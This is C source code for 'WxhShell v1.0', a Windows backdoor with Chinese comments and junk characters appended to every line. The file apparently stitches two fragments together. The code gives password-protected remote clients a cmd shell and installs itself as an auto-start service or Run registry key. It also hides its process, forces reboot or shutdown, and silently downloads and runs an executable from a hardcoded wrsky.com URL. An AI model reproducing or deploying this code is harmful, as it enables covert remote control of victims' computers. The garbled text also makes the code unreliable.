    ExitThread(0); HLSfoQ&)v  
    } c/=y*2,zo  
    break; Y0PGT5].@'  
    } E +Ujpd  
  // 关机 OS"{"P  
  case 'd': { ^s2m\Q(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _[TH@fO6:  
    if(Boot(SHUTDOWN)) 'o/N}E!Pt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X$-b oe?  
    else { %]chL.s  
    closesocket(wsh); m +Q5vkW  
    ExitThread(0); Cv>yAt.3  
    } 3_L1Wm  
    break; xz"Z3B  
    } ke}Y 2sB  
  // 获取shell b$?Xn{Y  
  case 's': { .lvI8Jf~X  
    CmdShell(wsh); b$v[@"1  
    closesocket(wsh); ntj`+7mw  
    ExitThread(0); =|E 09  
    break; \m=-8KpU  
  } A \MfF  
  // 退出 ` /I bWu  
  case 'x': { !f\?c7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gpdv]SON{  
    CloseIt(wsh); dNUR)X#e  
    break; jcEs10y  
    } f`hyYp`d5  
  // 离开 6.U  "_%  
  case 'q': { ~*7O(8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G{NSAaD[  
    closesocket(wsh); CJ9cCtA  
    WSACleanup(); %XJQ0CE<(  
    exit(1); O->_/_  
    break; (ve+,H6w\  
        } 9Hf*cQ  
  } _/,SZ-C#L4  
  } a[1sA12  
Pqy-gWOv  
  // 提示信息 N>d|A]zH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,4H;P/xsb  
} i1qS ns  
  } Jo{ zy  
mb0n}I_AC  
  return; T[0V%Br{d+  
} 8pYyG |\  
/[a|DUoHO  
// shell模块句柄 n}< ir!ZTO  
int CmdShell(SOCKET sock) y#S1c)vU  
{ M!N` Orz  
STARTUPINFO si; xClRO,-  
ZeroMemory(&si,sizeof(si));  r=fE8[,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !uWxRpT,7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9?uqQ  
PROCESS_INFORMATION ProcessInfo; g!1I21M1~  
char cmdline[]="cmd";  d?:`n 9`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r0F_;  
  return 0; RVc)") hQj  
}  9t{|_G  
}FPM-M3y  
// 自身启动模式 {UB%(E[Mr  
int StartFromService(void) B/jrYT$;m  
{ Ln ~4mN^  
typedef struct <1aa~duT  
{ uuu\f*<  
  DWORD ExitStatus; IWAj Mwo  
  DWORD PebBaseAddress; X_D6eYF  
  DWORD AffinityMask; >9-Dd)<  
  DWORD BasePriority; 0jBKCu  
  ULONG UniqueProcessId; (E!%v`_0  
  ULONG InheritedFromUniqueProcessId; |/@0~O(6  
}   PROCESS_BASIC_INFORMATION; A)8rk_92Q  
qE>i,|rP`  
PROCNTQSIP NtQueryInformationProcess; |vv]Z(_  
\). Nag+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QT#b>xV)1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?E % +}P  
<u0*"  
  HANDLE             hProcess; 8)N0S% B  
  PROCESS_BASIC_INFORMATION pbi; c#=&!FRe  
F?7u~b|@{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q"A_bdg5  
  if(NULL == hInst ) return 0; :I2H&,JT  
YMi/uy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T3=(`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 49o\^<4b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XmP;L(wa   
avlqDi1l  
  if (!NtQueryInformationProcess) return 0; I$n+DwKcN  
^>-+@+( r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y)P&]&"?  
  if(!hProcess) return 0; c8T/4hU MN  
W+KF2(lB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +|6`E3j%  
O{~KR/  
  CloseHandle(hProcess); Fav?,Q,n  
{Jrf/p9w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d$}&nV/A)  
if(hProcess==NULL) return 0; sTiYf  
Q*gnAi&.#  
HMODULE hMod; D>P;Izb  
char procName[255]; 0}B?sNr  
unsigned long cbNeeded;  Q.yb4  
/w0sj`;"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a_Jb> }  
nh<Z1tMU  
  CloseHandle(hProcess); GSP?X$E  
YNI;h%w  
if(strstr(procName,"services")) return 1; // 以服务启动 >E, Q  
yX`#s]M  
  return 0; // 注册表启动 n[|6khOL-  
} Y,'%7u  
E$ {J  
// 主模块 6.[)`iF+#  
int StartWxhshell(LPSTR lpCmdLine) ?H`j>]%&  
{ 6F(hY !}5  
  SOCKET wsl; wZQ)jo7*g  
BOOL val=TRUE; ^_sQG  
  int port=0; 0Q7MM6  
  struct sockaddr_in door; "v5ElYG  
e^zHw^js  
  if(wscfg.ws_autoins) Install(); opXDm\  
"e@n:N!  
port=atoi(lpCmdLine); h(nj,X+  
mg`j[<wp  
if(port<=0) port=wscfg.ws_port; tU{\ev$x  
8fh4%#,C%  
  WSADATA data; 5Dd:r{{ Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s"WBw'_<<  
#BsW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P].eAAXnP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `kFiH*5%z  
  door.sin_family = AF_INET; "Kq>#I'%W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E~qQai=]  
  door.sin_port = htons(port); 4^[ /=J}  
+p z}4M`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >OK#n)U`  
closesocket(wsl); z3W3=@  
return 1; ~g7m3  
} <[ZI.+_Wt  
=G4u#t)  
  if(listen(wsl,2) == INVALID_SOCKET) { *1$    
closesocket(wsl); P_&p=${  
return 1; nM8[  
} *GJ:+U&m[  
  Wxhshell(wsl); b!^@PIX  
  WSACleanup(); |NJ}F@t/5  
vQgq]mA?  
return 0; BZ+;n |<r  
6WeM rWx  
} !p',Za   
7 \X$7  
// 以NT服务方式启动 {~_ Y _-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bd&`Xfebj  
{ VO_dA4C}z  
DWORD   status = 0; FqZgdmwR  
  DWORD   specificError = 0xfffffff; M?$ZJ-  
oxzq!U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /P:EWUf'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2)9r'ai?a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oQ\&}@(V  
  serviceStatus.dwWin32ExitCode     = 0; G>K@AW #  
  serviceStatus.dwServiceSpecificExitCode = 0; 0e16Ow6\!1  
  serviceStatus.dwCheckPoint       = 0; 8vSIf+  
  serviceStatus.dwWaitHint       = 0; lL0M^Nv  
m(_9<bc>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Us=eq "eu  
  if (hServiceStatusHandle==0) return; `eR 7H>I  
Om9jtWk  
status = GetLastError(); _{)9b24(  
  if (status!=NO_ERROR) s$ z2 c  
{ T<yb#ak  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KmmQ,e%  
    serviceStatus.dwCheckPoint       = 0; 2khh4?|\  
    serviceStatus.dwWaitHint       = 0; e;h,V(  
    serviceStatus.dwWin32ExitCode     = status; RV;!05^<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ix&'0IrX*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lP3h<j  
    return; orqJ[!u)`  
  } y' [LNp V  
cU8xUpq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <cj{Qk  
  serviceStatus.dwCheckPoint       = 0; Ryv_1gR!  
  serviceStatus.dwWaitHint       = 0; 0` 5e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I2[]A,f ,  
} g`[$Xi R  
IPtvuEju\  
// 处理NT服务事件,比如:启动、停止 >{nH v)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rt}^4IqL  
{ ?lKhzH.T  
switch(fdwControl) i\Wdo/c-H  
{ %\6Q .V#s  
case SERVICE_CONTROL_STOP: *yez:qnx  
  serviceStatus.dwWin32ExitCode = 0; 9]7u _  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h/m6)m.D  
  serviceStatus.dwCheckPoint   = 0; +TSSi em  
  serviceStatus.dwWaitHint     = 0; v* ~3Z1  
  { suVmg-d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FFvCi@oT  
  } *x(Jq?5O7X  
  return; >2lwWXA  
case SERVICE_CONTROL_PAUSE: pj8azFZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g7n "  
  break; ;gB`YNL  
case SERVICE_CONTROL_CONTINUE: yWb4Ify  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rQr!R$t/[  
  break; ,Eu?JH&}u  
case SERVICE_CONTROL_INTERROGATE: U(,.D}PG  
  break; :_HF j.JW  
}; 7lA:)a_!]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `hUHel;6  
} @ D[`Oj)  
L0"~[zB]N  
// 标准应用程序主函数 ZA820A>2!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |5MbAqjzC  
{ `^6 ,kI-c  
~ap2m  
// 获取操作系统版本 6q/ ?-Qcy  
OsIsNt=GetOsVer(); :dwt1>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e.vtEQV9  
J2M(1g)t9  
  // 从命令行安装 r:g9Z_  
  if(strpbrk(lpCmdLine,"iI")) Install(); +ts0^;QO2{  
D/ Dt   
  // 下载执行文件 Vw~\H Gs/~  
if(wscfg.ws_downexe) { @PSLs *  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w/m:{cHk  
  WinExec(wscfg.ws_filenam,SW_HIDE); .%}+R|g  
} ]Kh2;>= Xj  
8Vn4.R[vE  
if(!OsIsNt) { 7o]HQ[xO  
// 如果时win9x,隐藏进程并且设置为注册表启动 )jDJMi_[  
HideProc(); 6Q Zp@  
StartWxhshell(lpCmdLine); ^}$O|t  
} 5?u}#zO  
else |yY`s6Uq  
  if(StartFromService()) NNkP\oh\  
  // 以服务方式启动 uY#TEjGh]  
  StartServiceCtrlDispatcher(DispatchTable); ;_+uSalt  
else m_7 nz!h  
  // 普通方式启动 dh -,E  
  StartWxhshell(lpCmdLine); d) ahF[82  
m%r/O&g  
return 0; #wR;|pN  
} Zv!{{XO2;  
,r^"#C0J}  
57I}RMT"  
 jNyoN1M  
=========================================== #&8rcu;/  
7Y( 5]A9=  
P'$ `'J]j  
@g-Tk  
MMQ;mw=^]  
v~)LO2y   
" n/Dp"4H%q  
/-M@[p&  
#include <stdio.h> ,kM)7!]N  
#include <string.h> /X*oS&-M  
#include <windows.h> ajH"Jy3A  
#include <winsock2.h> N#z~  
#include <winsvc.h> cP>o+-)  
#include <urlmon.h> m$2<`C=  
q1{H~VSn"  
#pragma comment (lib, "Ws2_32.lib") ^{yk[tHpS  
#pragma comment (lib, "urlmon.lib") {2KFD\i\  
%D=]ZV](  
#define MAX_USER   100 // 最大客户端连接数 Dr#c)P~Wd  
#define BUF_SOCK   200 // sock buffer 8Ogv9  
#define KEY_BUFF   255 // 输入 buffer S4o$t -9l  
tkKJh !Q7  
#define REBOOT     0   // 重启 {6Au3gt/  
#define SHUTDOWN   1   // 关机 rofNZ;nu  
q_fam,9  
#define DEF_PORT   5000 // 监听端口 }JgYCsF/f  
8|g<X1H{M  
#define REG_LEN     16   // 注册表键长度 ROb\Rx m  
#define SVC_LEN     80   // NT服务名长度 19U]2D/z  
!{%:qQiA  
// 从dll定义API $jzFc!rs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hZ$t$3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dp5cDF}l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ku&k'V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `` K#}3  
5K%W a]W  
// wxhshell配置信息 {MBTP;{*~  
struct WSCFG { }"s;\?a  
  int ws_port;         // 监听端口  #ToK$8  
  char ws_passstr[REG_LEN]; // 口令 au@a8MP  
  int ws_autoins;       // 安装标记, 1=yes 0=no lCT{v@pp  
  char ws_regname[REG_LEN]; // 注册表键名 /Lf6WMit  
  char ws_svcname[REG_LEN]; // 服务名 V!/:53  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z8_XX$Mnt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KOSM]c\H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YK#fa2ng  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dl\`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b1?xeG#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =d`5f@'rl  
t*S." q  
}; hGTV;eU  
*C|  
// default Wxhshell configuration &(pjqV  
struct WSCFG wscfg={DEF_PORT, [:EvTY  
    "xuhuanlingzhe", evuZY X@  
    1, BOVPKX  
    "Wxhshell", Q[4: xkU  
    "Wxhshell", fxQN+6;  
            "WxhShell Service", $iw%(H  
    "Wrsky Windows CmdShell Service", 2\<.0  
    "Please Input Your Password: ", p s|)cW3`  
  1, kGYTl,A{  
  "http://www.wrsky.com/wxhshell.exe", tln37vq  
  "Wxhshell.exe" N:5[,O<m_  
    }; JK_OZ  
))h6~1`  
// 消息定义模块  ZI>km?w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q;/a F`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LV{Q,DrP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  >]D4Q<TY  
char *msg_ws_ext="\n\rExit."; @* ust>7  
char *msg_ws_end="\n\rQuit."; e /K#>,  
char *msg_ws_boot="\n\rReboot..."; J5M+FwZq  
char *msg_ws_poff="\n\rShutdown..."; ?\=/$Gt  
char *msg_ws_down="\n\rSave to "; `C E^2  
J>vMo@  
char *msg_ws_err="\n\rErr!"; BRRj$)u  
char *msg_ws_ok="\n\rOK!"; |UnUG  
| bv,2uWz  
char ExeFile[MAX_PATH]; bCv{1]RC2  
int nUser = 0; {tP%epQ  
HANDLE handles[MAX_USER]; k=ytuV\  
int OsIsNt; S::=85[>z  
\E1U@6a  
SERVICE_STATUS       serviceStatus; ,L> ar)B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7;:#;YS ha  
:3h{ A`u  
// 函数声明 uRV<?y%  
int Install(void); Av J4\  
int Uninstall(void); +~zXDBS9  
int DownloadFile(char *sURL, SOCKET wsh); [I*! lbt  
int Boot(int flag); 7L5P%zLtB  
void HideProc(void); sy* y\5yJ  
int GetOsVer(void); \K2*Q&>  
int Wxhshell(SOCKET wsl); Aj>[z8!,  
void TalkWithClient(void *cs); }GwVKAjP  
int CmdShell(SOCKET sock); Ka!I`Yf  
int StartFromService(void); W~n.Xeu{C  
int StartWxhshell(LPSTR lpCmdLine); )$GIN/i  
5N$E()m$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c7uG9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~"x5U{K48S  
"8)z=n  
// 数据结构和表定义 "8f?h%t  
SERVICE_TABLE_ENTRY DispatchTable[] = j V3)2C}  
{ h!@,8y[B  
{wscfg.ws_svcname, NTServiceMain}, JtKp(k&  
{NULL, NULL} kh$_!BT  
}; g\fhp{gWB  
1Nn@L2b 2  
// 自我安装 Yf_6PGNzX  
int Install(void) ;r\(p|e  
{ q6#<[ 4?  
  char svExeFile[MAX_PATH]; R6;Phdh<>  
  HKEY key; b,H[I!. %  
  strcpy(svExeFile,ExeFile); ;zTuKex~  
Ol /\t  
// 如果是win9x系统,修改注册表设为自启动 nwI3|&  
if(!OsIsNt) { gO?44^hMe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @LE[ac  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Nj97 R  
  RegCloseKey(key); sfT+i;p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,:n| ?7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yY{kG2b,  
  RegCloseKey(key); @r^!{  
  return 0; ]w).8=I  
    } <z+:j!~  
  }  %V G/  
} b]Kk2S/  
else { 6(&Y(/  
`1` f*d v  
// 如果是NT以上系统,安装为系统服务 YB))S!;Ok  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^WYQ]@rh3  
if (schSCManager!=0) QWnndI_4p  
{ klOp ^w  
  SC_HANDLE schService = CreateService rnFM/GAy  
  ( kfb/n)b'  
  schSCManager, ]DG?R68DQ  
  wscfg.ws_svcname, >Q E{O.Z  
  wscfg.ws_svcdisp, 9-1#( Y6S  
  SERVICE_ALL_ACCESS, VaZn{z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n`Z"rwKmNw  
  SERVICE_AUTO_START, f'(l&/4z{  
  SERVICE_ERROR_NORMAL, 7v}x?I  
  svExeFile, 2RtHg_d_l  
  NULL, k8nLo.O  
  NULL, qem(s</:  
  NULL, u^W2UE\  
  NULL, K/_9f'^  
  NULL v5ur&egVs  
  ); [] W;t\h  
  if (schService!=0) * A|-KKo\  
  { W`rNBfG>  
  CloseServiceHandle(schService); r`\A nT?  
  CloseServiceHandle(schSCManager); \u OdALZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h[tix:  
  strcat(svExeFile,wscfg.ws_svcname); *ZSdl 0e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A~ (l{g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2(!fg4#+  
  RegCloseKey(key); %GEJnJ  
  return 0; &NZfJs  
    } t/oN>mQG  
  } "VxWj}+]  
  CloseServiceHandle(schSCManager); ,{eU P0]  
} er.L7  
} al9.}  
\(UKd v  
return 1; L #[]I,  
} X<OSN&d  
#.B"q:CW*P  
// 自我卸载 =nUW'  
int Uninstall(void) [`=LTBt  
{ #_  C  
  HKEY key; &fP XU*l4  
&F$:Q:* *  
if(!OsIsNt) { d5I f"8`@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]<uQ.~  
  RegDeleteValue(key,wscfg.ws_regname); R5_i15<  
  RegCloseKey(key); 8[%Ao/m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qa >Ay|92e  
  RegDeleteValue(key,wscfg.ws_regname); xFv;1Q  
  RegCloseKey(key); JOn yrks  
  return 0; 4JIYbb-a'  
  } lG<hlYckv  
} I,6/21kO  
} p4u5mM  
else { "I- w  
#!J(4tXny  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HG >j5  
if (schSCManager!=0) wmr-}Y!9u%  
{ 4b]a&_-}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %~ |HFYd  
  if (schService!=0) "%2xR[NF  
  { ~vdkFc(8B  
  if(DeleteService(schService)!=0) { W{cY6@  
  CloseServiceHandle(schService); Ft JjY@#  
  CloseServiceHandle(schSCManager); M&Y .;  
  return 0; tCF&OOI4`  
  } ~=r^3nZR/J  
  CloseServiceHandle(schService); donw(_=  
  } nx":"LFI  
  CloseServiceHandle(schSCManager); v0*N)eqDGd  
} %!Q`e79g8  
} N@o?b  
xh@-g|+g  
return 1; eBN)g^  
} a)-FG P^  
w>?Un,K  
// 从指定url下载文件 _cDF{E+;  
int DownloadFile(char *sURL, SOCKET wsh) _+f+`]iM  
{ =;~I_)Pg1  
  HRESULT hr; Wk;5/  
char seps[]= "/"; Jc4L5*Xn/  
char *token; cX!Pz.C  
char *file; ']6VB,c`  
char myURL[MAX_PATH]; 5m$2Ku  
char myFILE[MAX_PATH]; SJ' % ^  
7[v%GoE  
strcpy(myURL,sURL); +m\|e{G  
  token=strtok(myURL,seps); }peBR80tQ  
  while(token!=NULL) [Bb utGvj  
  { 1MkI0OZE  
    file=token; XhU@W}}  
  token=strtok(NULL,seps); m@Ev~~;  
  } !v#xb3"/  
fg%&N2/(.B  
GetCurrentDirectory(MAX_PATH,myFILE); _,h@:Xij  
strcat(myFILE, "\\"); =(AtfW^H  
strcat(myFILE, file); jLg@FDb~  
  send(wsh,myFILE,strlen(myFILE),0); -#`c5y}P  
send(wsh,"...",3,0); "7%:sty  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); omZO+=8Q  
  if(hr==S_OK) ]bCq=6ZKR  
return 0; ] 7;f?+  
else kW=z+  
return 1; P%pp )BS  
5R MS(  
} $e%2t^ i.g  
|V[9}E: h  
// 系统电源模块 $.6K!x{(  
int Boot(int flag) ihL/n  
{ 0 5\dl  
  HANDLE hToken; >gtQw!  
  TOKEN_PRIVILEGES tkp; ~IVd vm7  
=x#FbvV  
  if(OsIsNt) { Y[ reD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H!e 3~+)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {xcZ*m!B  
    tkp.PrivilegeCount = 1; <{(/E0~V/<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; > Vb@[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dHnR_.  
if(flag==REBOOT) { 6" T['6:j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k ^'f[|}  
  return 0; HYr}wG  
} UO`;&e-DB  
else { AtS;IRN@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z:Sigo_z[  
  return 0; H2gj=krK  
} QA!_} N4n  
  } F#|O@.tDG  
  else { P'@<:S|  
if(flag==REBOOT) {  84zTCX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %bXx!x8(  
  return 0; ]6Ug>>x5  
} 6+rlXmd  
else { F^aR+m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4] > ]-b  
  return 0; 5}ie]/[|  
} BI[JATZG  
} ~i'Nqe_  
;|%dY{L-  
return 1; ;E2>Ovv  
} YEu1#N  
S&nxok`e^  
// win9x进程隐藏模块 ewNz%_2  
void HideProc(void) :!&;p  
{ T<yP* b2E  
l|`9:H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zZ-wG  
  if ( hKernel != NULL ) ]-o"}"3Ef  
  { eg+!*>GaX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "ceed)(:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yx'res4e  
    FreeLibrary(hKernel); ?C0l~:j7D  
  } dGfVZDsr]  
~`;rNnOT3  
return; Q\ ^[!|  
} UCrh/bTm  
YKZrEP 4^  
// 获取操作系统版本 7)rWw<mY  
int GetOsVer(void) l7(!`NPbC  
{ !33#. @[  
  OSVERSIONINFO winfo; 6~:Sgt nU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rx36?/  
  GetVersionEx(&winfo); 07T70[G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q "r_!f  
  return 1; `?\tUO2_T  
  else Wm'QP4`  
  return 0; Dz=k7zRg"  
} 5y2? f  
8qi+IGRg  
// 客户端句柄模块 inPJ2uBD\^  
int Wxhshell(SOCKET wsl) u.pxz8  
{ Sx gYjIa-  
  SOCKET wsh; I7QCYB|  
  struct sockaddr_in client; h<l1]h+x  
  DWORD myID; E{xVc;t  
XALI<ZY  
  while(nUser<MAX_USER) jkAAqRR  
{ d<w~jP\  
  int nSize=sizeof(client); (fD ;g9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'J*<iA*W  
  if(wsh==INVALID_SOCKET) return 1; BIaDY<j90  
h.rD}N\L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $h9='0Wi0'  
if(handles[nUser]==0) `D( xv  
  closesocket(wsh); /5AW?2)  
else #0I{.Wy]  
  nUser++; |4)  
  } >4m'tZ8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -37a.  
a^qNJ?R !  
  return 0; Hs"(@eDV&J  
} 6TWWl U^e  
5/[H+O1;  
// 关闭 socket u/b7Z`yX}  
void CloseIt(SOCKET wsh) h)lPi   
{ b/$km?R  
closesocket(wsh); :vx$vZb  
nUser--; F1;lQA*7K.  
ExitThread(0); 3T\l]? z  
} `"yxdlXA  
{C`GW}s{4  
// 客户端请求句柄 :WGtR\tK  
void TalkWithClient(void *cs) 6SJ"Tni8  
{ pi(-A  
D8{D [fJ;  
  SOCKET wsh=(SOCKET)cs; zxb/  
  char pwd[SVC_LEN]; n>,L=wV  
  char cmd[KEY_BUFF]; ;:S&F  
char chr[1]; e[u?_h  
int i,j; 6q<YJ.,  
yAT^VRbv  
  while (nUser < MAX_USER) { {s?M*_{|  
ivO/;)=t  
if(wscfg.ws_passstr) { hjZ}C+=O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9CGNn+~YI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QZAB=rR  
  //ZeroMemory(pwd,KEY_BUFF); JE 5  
      i=0; ;^ wd_  
  while(i<SVC_LEN) { {n3EGSP#  
psh^MX)Q  
  // 设置超时 yZ]:y-1  
  fd_set FdRead; RT/o$$  
  struct timeval TimeOut; oq/G`{`\  
  FD_ZERO(&FdRead); %\O#&=$E  
  FD_SET(wsh,&FdRead); tary6K9K+  
  TimeOut.tv_sec=8; ,y`CRlr:  
  TimeOut.tv_usec=0; 3FSqd<t;D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g3n'aD@'x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iq#b#PYA  
P`4]-5gE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dhg~$CVO  
  pwd=chr[0]; #TK~eHi  
  if(chr[0]==0xd || chr[0]==0xa) { BC>=B@H0  
  pwd=0; i=a-<A5x  
  break; {yAL+}  
  } wCs^J48=  
  i++; Th[f9H%  
    } DF]9@{  
5  *}R$  
  // 如果是非法用户,关闭 socket &ad I (s~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d9*hBm  
} <>eOC9;VY  
KT|RF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mpC`Yk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ok5<TZ6t4k  
iF5'ygR-Z  
while(1) { c:S] R"  
W+wA_s2&D  
  ZeroMemory(cmd,KEY_BUFF); 5V[oE\B  
ulT8lw='  
      // 自动支持客户端 telnet标准   WFR?fDtE  
  j=0; l5%G'1w#,j  
  while(j<KEY_BUFF) { $w)~O<_U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TlL^7f}  
  cmd[j]=chr[0]; 'AGto'Yy;  
  if(chr[0]==0xa || chr[0]==0xd) { bUV >^d  
  cmd[j]=0; qs\2Z@;  
  break; Q'l^9Bz  
  } 'oNO-)p\#!  
  j++; 8bK|:B#6,  
    } _$NIp `d  
_EnwME {@  
  // 下载文件 C$Lu]pIL*  
  if(strstr(cmd,"http://")) { r0t^g9K0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pA.J@,>`}  
  if(DownloadFile(cmd,wsh)) >4Y3]6N0.F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !IU.a90V  
